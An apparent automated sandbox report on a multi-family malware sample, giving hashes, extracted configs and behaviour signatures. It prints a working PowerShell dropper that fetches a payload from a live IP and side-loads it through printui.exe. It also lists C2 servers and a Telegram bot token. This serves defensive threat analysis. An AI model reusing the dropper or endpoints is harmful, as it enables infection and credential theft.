General

  • Target

    48ef76d6fe9d63e79004e966fdcda3941fb75ca8e7a3fe485b770df9172ef696

  • Size

    1.8MB

  • Sample

    240902-z7x52sydmf

  • MD5

    157272480154026025638d1c189e550d

  • SHA1

    6bac88306f7822d4016aa859031e939a180ea6be

  • SHA256

    48ef76d6fe9d63e79004e966fdcda3941fb75ca8e7a3fe485b770df9172ef696

  • SHA512

    472fbf1a60e3f424dae9d602d46a9e70828878039fb489357887e141eacf6b793a1d23b26adabdababa70b1314ec066fed3b36db43e80303285565a0d1b10edc

  • SSDEEP

    49152:JqPrd2L1CtG2mnEpj6sFVjkMVFqYCdvZWLNVa:oP0YU2jpusnkwwv8Li

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
$decoded = "for (;;){\r\n\t(New-Object System.Net.WebClient).DownloadFile(\"http://37.1.196.35/un2/botui.dat\", \"C:\\Users\\Public\\pyld.dll\");\r\n\tStart-Sleep -Seconds 2;\r\n\tif (Test-Path \"C:\\Users\\Public\\pyld.dll\"){\r\n\t\tcmd /c mkdir \"\\\\?\\C:\\Windows \\System32\";\r\n\t\tcmd /c xcopy /y \"C:\\Windows\\System32\\printui.exe\" \"C:\\Windows \\System32\";\r\n\t\tcmd /c move /y \"C:\\Users\\Public\\pyld.dll\" \"C:\\Windows \\System32\\printui.dll\";\r\n\t\tStart-Sleep -Seconds 2;\r\n\t\tStart-Process -FilePath \"C:\\Windows \\System32\\printui.exe\";\r\n\t\tbreak;\r\n\t}\r\n\telse{\r\n\t\tStart-Sleep -Seconds 60;\r\n\t}\r\n}"
3
invoke-expression "for (;;){\r\n\t(New-Object System.Net.WebClient).DownloadFile(\"http://37.1.196.35/un2/botui.dat\", \"C:\\Users\\Public\\pyld.dll\");\r\n\tStart-Sleep -Seconds 2;\r\n\tif (Test-Path \"C:\\Users\\Public\\pyld.dll\"){\r\n\t\tcmd /c mkdir \"\\\\?\\C:\\Windows \\System32\";\r\n\t\tcmd /c xcopy /y \"C:\\Windows\\System32\\printui.exe\" \"C:\\Windows \\System32\";\r\n\t\tcmd /c move /y \"C:\\Users\\Public\\pyld.dll\" \"C:\\Windows \\System32\\printui.dll\";\r\n\t\tStart-Sleep -Seconds 2;\r\n\t\tStart-Process -FilePath \"C:\\Windows \\System32\\printui.exe\";\r\n\t\tbreak;\r\n\t}\r\n\telse{\r\n\t\tStart-Sleep -Seconds 60;\r\n\t}\r\n}"
4
5
# powershell snippet 1
6
for (;; @()) {
7
(new-object system.net.webclient).downloadfile("http://37.1.196.35/un2/botui.dat", "C:\\Users\\Public\\pyld.dll")
8
start-sleep -seconds 2
9
if (test-path "C:\\Users\\Public\\pyld.dll") {
10
cmd / c mkdir "\\\\?\\C:\\Windows \\System32"
11
cmd / c xcopy y "C:\\Windows\\System32\\printui.exe" "C:\\Windows \\System32"
12
cmd / c move y "C:\\Users\\Public\\pyld.dll" "C:\\Windows \\System32\\printui.dll"
13
start-sleep -seconds 2
14
start-process -filepath "C:\\Windows \\System32\\printui.exe"
15
break
16
} else {
17
start-sleep -seconds 60
18
}
19
}
20
URLs
exe.dropper

http://37.1.196.35/un2/botui.dat

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain
1
a091ec0a6e22276a96a99c1d34ef679c

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

stealc

Botnet

default

C2

http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Extracted

Family

amadey

Version

4.41

Botnet

1176f2

C2

http://185.215.113.19

Attributes
  • install_dir

    417fd29867

  • install_file

    ednfoki.exe

  • strings_key

    183201dc3defc4394182b4bff63c4065

  • url_paths

    /CoreOPT/index.php

rc4.plain
1
c1ec479e5342a25940592acf24703eb2

Extracted

Family

lumma

C2

https://locatedblsoqp.shop/api

https://millyscroqwp.shop/api

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7170879715:AAGG1917SpGSHmE0vBzZE2U5dWvvrWIzd8g/sendMessag

Targets

    • Target

      48ef76d6fe9d63e79004e966fdcda3941fb75ca8e7a3fe485b770df9172ef696

    • Size

      1.8MB

    • MD5

      157272480154026025638d1c189e550d

    • SHA1

      6bac88306f7822d4016aa859031e939a180ea6be

    • SHA256

      48ef76d6fe9d63e79004e966fdcda3941fb75ca8e7a3fe485b770df9172ef696

    • SHA512

      472fbf1a60e3f424dae9d602d46a9e70828878039fb489357887e141eacf6b793a1d23b26adabdababa70b1314ec066fed3b36db43e80303285565a0d1b10edc

    • SSDEEP

      49152:JqPrd2L1CtG2mnEpj6sFVjkMVFqYCdvZWLNVa:oP0YU2jpusnkwwv8Li

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Gurcu, WhiteSnake

      Gurcu is a malware stealer written in C#.

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • RedLine

      RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    • RedLine payload

    • Stealc

      Stealc is an infostealer written in C++.

    • Credentials from Password Stores: Credentials from Web Browsers

      Malicious Access or copy of Web Browser Credential store.

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Server Software Component: Terminal Services DLL

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Indicator Removal: Clear Persistence

      Clear artifacts associated with previously established persistence like scheduletasks on a host.

    • Drops file in System32 directory

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.